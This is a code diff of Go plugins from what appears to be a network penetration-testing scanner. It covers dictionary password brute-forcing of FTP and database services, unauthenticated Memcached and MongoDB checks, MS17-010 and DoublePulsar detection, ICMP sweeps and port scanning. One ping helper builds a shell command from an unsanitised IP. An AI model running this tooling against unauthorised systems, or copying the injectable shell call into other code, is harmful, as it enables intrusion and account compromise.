 				common.LogError(errlog)
 				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * info.Timeout) {
-					return err
-				}
 			}
 		}
 	}
@@ -49,13 +27,13 @@ func FtpScan(info *common.HostInfo) (tmperr error) {

 func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
-	Host, Port, Username, Password := info.Host, info.Ports, user, pass
+	Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass
 	conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
 	if err == nil {
 		err = conn.Login(Username, Password)
 		if err == nil {
 			flag = true
-			result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
+			result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password)
 			dirs, err := conn.List("")
 			//defer conn.Logout()
 			if err == nil {
--- a/Plugins/icmp.go
+++ b/Plugins/icmp.go
@@ -3,95 +3,63 @@ package Plugins
 import (
 	"bytes"
 	"fmt"
-	"github.com/shadow1ng/fscan/common"
 	"golang.org/x/net/icmp"
+	"log"
 	"net"
+	"os"
 	"os/exec"
+	"os/user"
 	"runtime"
 	"strings"
 	"sync"
 	"time"
 )

-var (
-	AliveHosts []string
-	OS         = runtime.GOOS
-	ExistHosts = make(map[string]struct{})
-	livewg     sync.WaitGroup
-)
+var AliveHosts []string

-func CheckLive(hostslist []string, Ping bool) []string {
-	chanHosts := make(chan string, len(hostslist))
-	go func() {
-		for ip := range chanHosts {
-			if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
-				ExistHosts[ip] = struct{}{}
-				if common.Silent == false {
-					if Ping == false {
-						fmt.Printf("(icmp) Target %-15s is alive\n", ip)
-					} else {
-						fmt.Printf("(ping) Target %-15s is alive\n", ip)
-					}
-				}
-				AliveHosts = append(AliveHosts, ip)
-			}
-			livewg.Done()
-		}
-	}()
+var SysInfo = GetSys()

-	if Ping == true {
-		//使用ping探测
-		RunPing(hostslist, chanHosts)
-	} else {
-		//优先尝试监听本地icmp,批量探测
-		conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
-		if err == nil {
-			RunIcmp1(hostslist, conn, chanHosts)
-		} else {
-			common.LogError(err)
-			//尝试无监听icmp探测
-			fmt.Println("trying RunIcmp2")
-			conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
-			defer func() {
-				if conn != nil {
-					conn.Close()
-				}
-			}()
-			if err == nil {
-				RunIcmp2(hostslist, chanHosts)
-			} else {
-				common.LogError(err)
-				//使用ping探测
-				fmt.Println("The current user permissions unable to send icmp packets")
-				fmt.Println("start ping")
-				RunPing(hostslist, chanHosts)
-			}
-		}
-	}
-
-	livewg.Wait()
-	close(chanHosts)
-
-	if len(hostslist) > 1000 {
-		arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
-		for i := 0; i < len(arrTop); i++ {
-			output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
-			common.LogSuccess(output)
-		}
-	}
-	if len(hostslist) > 256 {
-		arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
-		for i := 0; i < len(arrTop); i++ {
-			output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
-			common.LogSuccess(output)
-		}
-	}
-
-	return AliveHosts
+type SystemInfo struct {
+	OS       string
+	HostName string
+	Groupid  string
+	Userid   string
+	Username string
 }

-func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
+func GetSys() SystemInfo {
+	var sysinfo SystemInfo
+
+	sysinfo.OS = runtime.GOOS
+	name, err := os.Hostname()
+	if err == nil {
+		sysinfo.HostName = name
+	} else {
+		name = "none"
+	}
+
+	u, err := user.Current()
+	if err == nil {
+		sysinfo.Groupid = u.Gid
+		sysinfo.Userid = u.Uid
+		sysinfo.Username = u.Username
+	} else {
+		sysinfo.Groupid = "1"
+		sysinfo.Userid = "1"
+		sysinfo.Username = name
+	}
+
+	return sysinfo
+}
+
+func IcmpCheck(hostslist []string) {
+	TmpHosts := make(map[string]struct{})
+	var chanHosts = make(chan string)
+	conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
 	endflag := false
+	if err != nil {
+		log.Fatal(err)
+	}
 	go func() {
 		for {
 			if endflag == true {
@@ -100,118 +68,49 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
 			msg := make([]byte, 100)
 			_, sourceIP, _ := conn.ReadFrom(msg)
 			if sourceIP != nil {
-				livewg.Add(1)
 				chanHosts <- sourceIP.String()
 			}
 		}
 	}()

+	go func() {
+		for ip := range chanHosts {
+			if _, ok := TmpHosts[ip]; !ok {
+				TmpHosts[ip] = struct{}{}
+				fmt.Printf("(icmp) Target '%s' is alive\n", ip)
+				AliveHosts = append(AliveHosts, ip)
+			}
+		}
+	}()
+
 	for _, host := range hostslist {
-		dst, _ := net.ResolveIPAddr("ip", host)
-		IcmpByte := makemsg(host)
-		conn.WriteTo(IcmpByte, dst)
+		write(host, conn)
 	}
-	//根据hosts数量修改icmp监听时间
-	start := time.Now()
-	for {
-		if len(AliveHosts) == len(hostslist) {
-			break
-		}
-		since := time.Now().Sub(start)
-		var wait time.Duration
-		switch {
-		case len(hostslist) <= 256:
-			wait = time.Second * 3
-		default:
-			wait = time.Second * 6
-		}
-		if since > wait {
-			break
-		}
+
+	if len(hostslist) > 255 {
+		time.Sleep(6 * time.Second)
+	} else {
+		time.Sleep(3 * time.Second)
 	}
+
 	endflag = true
+	close(chanHosts)
 	conn.Close()
 }

-func RunIcmp2(hostslist []string, chanHosts chan string) {
-	num := 1000
-	if len(hostslist) < num {
-		num = len(hostslist)
-	}
-	var wg sync.WaitGroup
-	limiter := make(chan struct{}, num)
-	for _, host := range hostslist {
-		wg.Add(1)
-		limiter <- struct{}{}
-		go func(host string) {
-			if icmpalive(host) {
-				livewg.Add(1)
-				chanHosts <- host
-			}
-			<-limiter
-			wg.Done()
-		}(host)
-	}
-	wg.Wait()
-	close(limiter)
-}
-
-func icmpalive(host string) bool {
-	startTime := time.Now()
-	conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
-	if err != nil {
-		return false
-	}
-	if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
-		return false
-	}
-	msg := makemsg(host)
-	if _, err := conn.Write(msg); err != nil {
-		return false
-	}
-
-	receive := make([]byte, 60)
-	if _, err := conn.Read(receive); err != nil {
-		return false
-	}
-
-	return true
-}
-
-func RunPing(hostslist []string, chanHosts chan string) {
-	var bsenv = ""
-	if OS != "windows" {
-		bsenv = "/bin/bash"
-	}
-	var wg sync.WaitGroup
-	limiter := make(chan struct{}, 50)
-	for _, host := range hostslist {
-		wg.Add(1)
-		limiter <- struct{}{}
-		go func(host string) {
-			if ExecCommandPing(host, bsenv) {
-				livewg.Add(1)
-				chanHosts <- host
-			}
-			<-limiter
-			wg.Done()
-		}(host)
-	}
-	wg.Wait()
+func write(ip string, conn *icmp.PacketConn) {
+	dst, _ := net.ResolveIPAddr("ip", ip)
+	IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
+	conn.WriteTo(IcmpByte, dst)
 }

 func ExecCommandPing(ip string, bsenv string) bool {
 	var command *exec.Cmd
-	if OS == "windows" {
+	if SysInfo.OS == "windows" {
 		command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
-	} else if OS == "linux" {
+	} else if SysInfo.OS == "linux" {
 		command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
-	} else if OS == "darwin" {
+	} else if SysInfo.OS == "darwin" {
 		command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
 	}
 	outinfo := bytes.Buffer{}
@@ -231,88 +130,57 @@ func ExecCommandPing(ip string, bsenv string) bool {
 	}
 }

-func makemsg(host string) []byte {
-	msg := make([]byte, 40)
-	id0, id1 := genIdentifier(host)
-	msg[0] = 8
-	msg[1] = 0
-	msg[2] = 0
-	msg[3] = 0
-	msg[4], msg[5] = id0, id1
-	msg[6], msg[7] = genSequence(1)
-	check := checkSum(msg[0:40])
-	msg[2] = byte(check >> 8)
-	msg[3] = byte(check & 255)
-	return msg
-}
-
-func checkSum(msg []byte) uint16 {
-	sum := 0
-	length := len(msg)
-	for i := 0; i < length-1; i += 2 {
-		sum += int(msg[i])*256 + int(msg[i+1])
-	}
-	if length%2 == 1 {
-		sum += int(msg[length-1]) * 256
-	}
-	sum = (sum >> 16) + (sum & 0xffff)
-	sum = sum + (sum >> 16)
-	answer := uint16(^sum)
-	return answer
-}
-
-func genSequence(v int16) (byte, byte) {
-	ret1 := byte(v >> 8)
-	ret2 := byte(v & 255)
-	return ret1, ret2
-}
-
-func genIdentifier(host string) (byte, byte) {
-	return host[0], host[1]
-}
-
-func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
-	if len(arrInit) == 0 {
-		return
-	}
-	arrMap1 := make(map[string]int)
-	arrMap2 := make(map[string]int)
-	for _, value := range arrInit {
-		line := strings.Split(value, ".")
-		if len(line) == 4 {
-			if flag {
-				value = fmt.Sprintf("%s.%s", line[0], line[1])
-			} else {
-				value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2])
+func PingCMDcheck(hostslist []string, bsenv string) {
+	var wg sync.WaitGroup
+	mutex := &sync.Mutex{}
+	limiter := make(chan struct{}, 50)
+	for _, host := range hostslist {
+		wg.Add(1)
+		limiter <- struct{}{}
+		go func(host string) {
+			defer wg.Done()
+			if ExecCommandPing(host, bsenv) {
+				mutex.Lock()
+				fmt.Printf("(Ping) Target '%s' is alive\n", host)
+				AliveHosts = append(AliveHosts, host)
+				mutex.Unlock()
 			}
-		}
-		if arrMap1[value] != 0 {
-			arrMap1[value]++
+			<-limiter
+		}(host)
+	}
+	wg.Wait()
+}
+func ICMPRun(hostslist []string, Ping bool) []string {
+	if SysInfo.OS == "windows" {
+		if Ping == false {
+			IcmpCheck(hostslist)
 		} else {
-			arrMap1[value] = 1
+			PingCMDcheck(hostslist, "")
 		}
-	}
-	for k, v := range arrMap1 {
-		arrMap2[k] = v
-	}
-
-	i := 0
-	for _ = range arrMap1 {
-		var maxCountKey string
-		var maxCountVal = 0
-		for key, val := range arrMap2 {
-			if val > maxCountVal {
-				maxCountVal = val
-				maxCountKey = key
+	} else if SysInfo.OS == "linux" {
+		if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
+			if Ping == false {
+				IcmpCheck(hostslist)
+			} else {
+				PingCMDcheck(hostslist, "/bin/bash")
 			}
+		} else {
+			fmt.Println("The current user permissions unable to send icmp packets")
+			fmt.Println("start ping")
+			PingCMDcheck(hostslist, "/bin/bash")
 		}
-		arrTop = append(arrTop, maxCountKey)
-		arrLen = append(arrLen, maxCountVal)
-		i++
-		if i >= length {
-			return
+	} else if SysInfo.OS == "darwin" {
+		if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
+			if Ping == false {
+				IcmpCheck(hostslist)
+			} else {
+				PingCMDcheck(hostslist, "/bin/bash")
+			}
+		} else {
+			fmt.Println("The current user permissions unable to send icmp packets")
+			fmt.Println("start ping")
+			PingCMDcheck(hostslist, "/bin/bash")
 		}
-		delete(arrMap2, maxCountKey)
 	}
-	return
+	return AliveHosts
 }
--- a/Plugins/memcached.go
+++ b/Plugins/memcached.go
@@ -8,32 +8,21 @@ import (
 	"time"
 )

-func MemcachedScan(info *common.HostInfo) (err error) {
-	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
+func MemcachedScan(info *common.HostInfo) (err error, result string) {
+	realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"])
 	client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if client != nil{
-			client.Close()
-		}
-	}()
 	if err == nil {
-		err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+		client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+		client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
+		rev := make([]byte, 1024)
+		n, err := client.Read(rev)
 		if err == nil {
-			_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
-			if err == nil {
-				rev := make([]byte, 1024)
-				n, err := client.Read(rev)
-				if err == nil {
-					if strings.Contains(string(rev[:n]), "STAT") {
-						result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
-						common.LogSuccess(result)
-					}
-				} else {
-					errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
-					common.LogError(errlog)
-				}
+			if strings.Contains(string(rev[:n]), "STAT") {
+				defer client.Close()
+				result = fmt.Sprintf("Memcached:%s unauthorized", realhost)
+				common.LogSuccess(result)
 			}
 		}
 	}
-	return err
+	return err, result
 }
--- a/Plugins/mongodb.go
+++ b/Plugins/mongodb.go
@@ -10,35 +10,20 @@ import (
 )

 func MongodbScan(info *common.HostInfo) error {
-	if common.IsBrute {
-		return nil
-	}
-
 	_, err := MongodbUnauth(info)
-	if err != nil {
-		errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
-		common.LogError(errlog)
-	}
 	return err
 }

 func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
 	flag = false
-	senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
-	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
+	senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
+	getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
+	realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
 	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
-	if err != nil {
-		return flag, err
-	}
-	err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
 	if err != nil {
 		return flag, err
 	}
+	defer conn.Close()
 	_, err = conn.Write(senddata)
 	if err != nil {
 		return flag, err
@@ -49,10 +34,21 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
 		return flag, err
 	}
 	text := string(buf[0:count])
-	if strings.Contains(text, "totalLinesWritten") {
-		flag = true
-		result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost)
-		common.LogSuccess(result)
+	if strings.Contains(text, "ismaster") {
+		_, err = conn.Write(getlogdata)
+		if err != nil {
+			return flag, err
+		}
+		count, err := conn.Read(buf)
+		if err != nil {
+			return flag, err
+		}
+		text := string(buf[0:count])
+		if strings.Contains(text, "totalLinesWritten") {
+			flag = true
+			result := fmt.Sprintf("Mongodb:%v unauthorized", realhost)
+			common.LogSuccess(result)
+		}
 	}
 	return flag, err
 }
--- a/Plugins/ms17017.go
+++ b/Plugins/ms17017.go
@@ -20,30 +20,20 @@ var (
 )

 func MS17010(info *common.HostInfo) error {
-	if common.IsBrute {
-		return nil
-	}
 	err := MS17010Scan(info)
-	if err != nil {
-		errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
-		common.LogError(errlog)
-	}
 	return err
 }

 func MS17010Scan(info *common.HostInfo) error {
+
 	ip := info.Host
 	// connecting to a host in LAN if reachable should be very quick
 	conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
 	if err != nil {
 		//fmt.Printf("failed to connect to %s\n", ip)
 		return err
 	}
+	defer conn.Close()
 	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
 	if err != nil {
 		//fmt.Printf("failed to connect to %s\n", ip)
@@ -87,7 +77,7 @@ func MS17010Scan(info *common.HostInfo) error {
 		// find byte count
 		byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
 		if n != int(byteCount)+45 {
-			fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
+			fmt.Println("invalid session setup AndX response")
 		} else {
 			// two continous null bytes indicates end of a unicode string
 			for i := 10; i < len(sessionSetupResponse)-1; i++ {
@@ -147,12 +137,13 @@ func MS17010Scan(info *common.HostInfo) error {
 		}

 		if reply[34] == 0x51 {
-			result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
+			//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
+			result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
 			common.LogSuccess(result)
 		}

 	} else {
-		result := fmt.Sprintf("[*] %s  (%s)", ip, os)
+		result := fmt.Sprintf("%s  (%s)", ip, os)
 		common.LogSuccess(result)
 	}
 	return err
--- a/Plugins/mssql.go
+++ b/Plugins/mssql.go
@@ -10,10 +10,6 @@ import (
 )

 func MssqlScan(info *common.HostInfo) (tmperr error) {
-	if common.IsBrute {
-		return
-	}
-	starttime := time.Now().Unix()
 	for _, user := range common.Userdict["mssql"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
@@ -21,15 +17,9 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
 			if flag == true && err == nil {
 				return err
 			} else {
-				errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
+				errlog := fmt.Sprintf("[-] mssql %v %v %v %v %v", info.Host, common.PORTList["mssql"], user, pass, err)
 				common.LogError(errlog)
 				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * info.Timeout) {
-					return err
-				}
 			}
 		}
 	}
@@ -38,8 +28,8 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {

 func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
-	Host, Port, Username, Password := info.Host, info.Ports, user, pass
-	dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
+	Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass
+	dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
 	db, err := sql.Open("mssql", dataSourceName)
 	if err == nil {
 		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
--- a/Plugins/mysql.go
+++ b/Plugins/mysql.go
@@ -10,10 +10,6 @@ import (
 )

 func MysqlScan(info *common.HostInfo) (tmperr error) {
-	if common.IsBrute {
-		return
-	}
-	starttime := time.Now().Unix()
 	for _, user := range common.Userdict["mysql"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
@@ -21,15 +17,9 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
 			if flag == true && err == nil {
 				return err
 			} else {
-				errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
+				errlog := fmt.Sprintf("[-] mysql %v %v %v %v %v", info.Host, common.PORTList["mysql"], user, pass, err)
 				common.LogError(errlog)
 				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * info.Timeout) {
-					return err
-				}
 			}
 		}
 	}
@@ -38,8 +28,8 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {

 func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
-	Host, Port, Username, Password := info.Host, info.Ports, user, pass
-	dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(info.Timeout)*time.Second)
+	Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
+	dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
 	db, err := sql.Open("mysql", dataSourceName)
 	if err == nil {
 		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
--- a/Plugins/oracle.go
+++ b/Plugins/oracle.go
@@ -1,57 +0,0 @@
-package Plugins
-
-import (
-	"database/sql"
-	"fmt"
-	"github.com/shadow1ng/fscan/common"
-	_ "github.com/sijms/go-ora/v2"
-	"strings"
-	"time"
-)
-
-func OracleScan(info *common.HostInfo) (tmperr error) {
-	if common.IsBrute {
-		return
-	}
-	starttime := time.Now().Unix()
-	for _, user := range common.Userdict["oracle"] {
-		for _, pass := range common.Passwords {
-			pass = strings.Replace(pass, "{user}", user, -1)
-			flag, err := OracleConn(info, user, pass)
-			if flag == true && err == nil {
-				return err
-			} else {
-				errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
-				common.LogError(errlog)
-				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * info.Timeout) {
-					return err
-				}
-			}
-		}
-	}
-	return tmperr
-}
-
-func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
-	flag = false
-	Host, Port, Username, Password := info.Host, info.Ports, user, pass
-	dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
-	db, err := sql.Open("oracle", dataSourceName)
-	if err == nil {
-		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
-		db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
-		db.SetMaxIdleConns(0)
-		defer db.Close()
-		err = db.Ping()
-		if err == nil {
-			result := fmt.Sprintf("[+] oracle:%v:%v:%v %v", Host, Port, Username, Password)
-			common.LogSuccess(result)
-			flag = true
-		}
-	}
-	return flag, err
-}
--- a/Plugins/portscan.go
+++ b/Plugins/portscan.go
@@ -4,116 +4,98 @@ import (
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
 	"net"
-	"sort"
 	"strconv"
 	"sync"
 	"time"
 )

-type Addr struct {
-	ip   string
-	port int
+func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int64) {
+	for port := range ports {
+		con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout)*time.Second)
+		if err == nil {
+			con.Close()
+			address := host + ":" + strconv.Itoa(port)
+			result := fmt.Sprintf("%s open", address)
+			common.LogSuccess(result)
+			respondingHosts <- address
+		}
+	}
+	done <- true
 }

-func PortScan(hostslist []string, ports string, timeout int64) []string {
+func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int64) ([]string, error) {
+	ports := make(chan int, 20)
+	results := make(chan string)
+	done := make(chan bool, threads)
+
+	for worker := 0; worker < threads; worker++ {
+		go ProbeHosts(address, ports, results, done, adjustedTimeout)
+	}
+
+	for _, port := range probePorts {
+		ports <- port
+	}
+	close(ports)
+
+	var responses = []string{}
+	for {
+		select {
+		case found := <-results:
+			responses = append(responses, found)
+		case <-done:
+			threads--
+			if threads == 0 {
+				return responses, nil
+			}
+		}
+	}
+}
+
+func TCPportScan(hostslist []string, ports string, timeout int64) []string {
 	var AliveAddress []string
 	probePorts := common.ParsePort(ports)
-	noPorts := common.ParsePort(common.NoPorts)
-	if len(noPorts) > 0 {
-		temp := map[int]struct{}{}
-		for _, port := range probePorts {
-			temp[port] = struct{}{}
-		}
-
-		for _, port := range noPorts {
-			delete(temp, port)
-		}
-
-		var newDatas []int
-		for port, _ := range temp {
-			newDatas = append(newDatas, port)
-		}
-		probePorts = newDatas
-		sort.Ints(probePorts)
+	lm := 20
+	if len(hostslist) > 5 && len(hostslist) <= 50 {
+		lm = 40
+	} else if len(hostslist) > 50 && len(hostslist) <= 100 {
+		lm = 50
+	} else if len(hostslist) > 100 && len(hostslist) <= 150 {
+		lm = 60
+	} else if len(hostslist) > 150 && len(hostslist) <= 200 {
+		lm = 70
+	} else if len(hostslist) > 200 {
+		lm = 75
 	}
-	workers := common.Threads
-	Addrs := make(chan Addr, len(hostslist)*len(probePorts))
-	results := make(chan string, len(hostslist)*len(probePorts))
+
+	thread := 10
+	if len(probePorts) > 500 && len(probePorts) <= 4000 {
+		thread = len(probePorts) / 100
+	} else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
+		thread = len(probePorts) / 200
+	} else if len(probePorts) > 6000 && len(probePorts) <= 10000 {
+		thread = len(probePorts) / 350
+	} else if len(probePorts) > 10000 && len(probePorts) < 50000 {
+		thread = len(probePorts) / 400
+	} else if len(probePorts) >= 50000 && len(probePorts) <= 65535 {
+		thread = len(probePorts) / 500
+	}
+
 	var wg sync.WaitGroup
-
-	//接收结果
-	go func() {
-		for found := range results {
-			AliveAddress = append(AliveAddress, found)
-			wg.Done()
-		}
-	}()
-
-	//多线程扫描
-	for i := 0; i < workers; i++ {
-		go func() {
-			for addr := range Addrs {
-				PortConnect(addr, results, timeout, &wg)
-				wg.Done()
+	mutex := &sync.Mutex{}
+	limiter := make(chan struct{}, lm)
+	for _, host := range hostslist {
+		wg.Add(1)
+		limiter <- struct{}{}
+		go func(host string) {
+			defer wg.Done()
+			if aliveAdd, err := ScanAllports(host, probePorts, thread, timeout); err == nil && len(aliveAdd) > 0 {
+				mutex.Lock()
+				AliveAddress = append(AliveAddress, aliveAdd...)
+				mutex.Unlock()
 			}
-		}()
-	}
-
-	//添加扫描目标
-	for _, port := range probePorts {
-		for _, host := range hostslist {
-			wg.Add(1)
-			Addrs <- Addr{host, port}
-		}
+			<-limiter
+		}(host)
 	}
 	wg.Wait()
-	close(Addrs)
-	close(results)
 	return AliveAddress
 }
-
-func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
-	host, port := addr.ip, addr.port
-	conn, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
-	if err == nil {
-		address := host + ":" + strconv.Itoa(port)
-		result := fmt.Sprintf("%s open", address)
-		common.LogSuccess(result)
-		wg.Add(1)
-		respondingHosts <- address
-	}
-}
-
-func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
-	probePorts := common.ParsePort(ports)
-	noPorts := common.ParsePort(common.NoPorts)
-	if len(noPorts) > 0 {
-		temp := map[int]struct{}{}
-		for _, port := range probePorts {
-			temp[port] = struct{}{}
-		}
-
-		for _, port := range noPorts {
-			delete(temp, port)
-		}
-
-		var newDatas []int
-		for port, _ := range temp {
-			newDatas = append(newDatas, port)
-		}
-		probePorts = newDatas
-		sort.Ints(probePorts)
-	}
-	for _, port := range probePorts {
-		for _, host := range hostslist {
-			address := host + ":" + strconv.Itoa(port)
-			AliveAddress = append(AliveAddress, address)
-		}
-	}
-	return
-}
--- a/Plugins/postgres.go
+++ b/Plugins/postgres.go
@@ -10,10 +10,6 @@ import (
 )

 func PostgresScan(info *common.HostInfo) (tmperr error) {
-	if common.IsBrute {
-		return
-	}
-	starttime := time.Now().Unix()
 	for _, user := range common.Userdict["postgresql"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", string(user), -1)
@@ -21,15 +17,9 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
 			if flag == true && err == nil {
 				return err
 			} else {
-				errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
+				errlog := fmt.Sprintf("[-] psql %v %v %v %v %v", info.Host, common.PORTList["psql"], user, pass, err)
 				common.LogError(errlog)
 				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * info.Timeout) {
-					return err
-				}
 			}
 		}
 	}
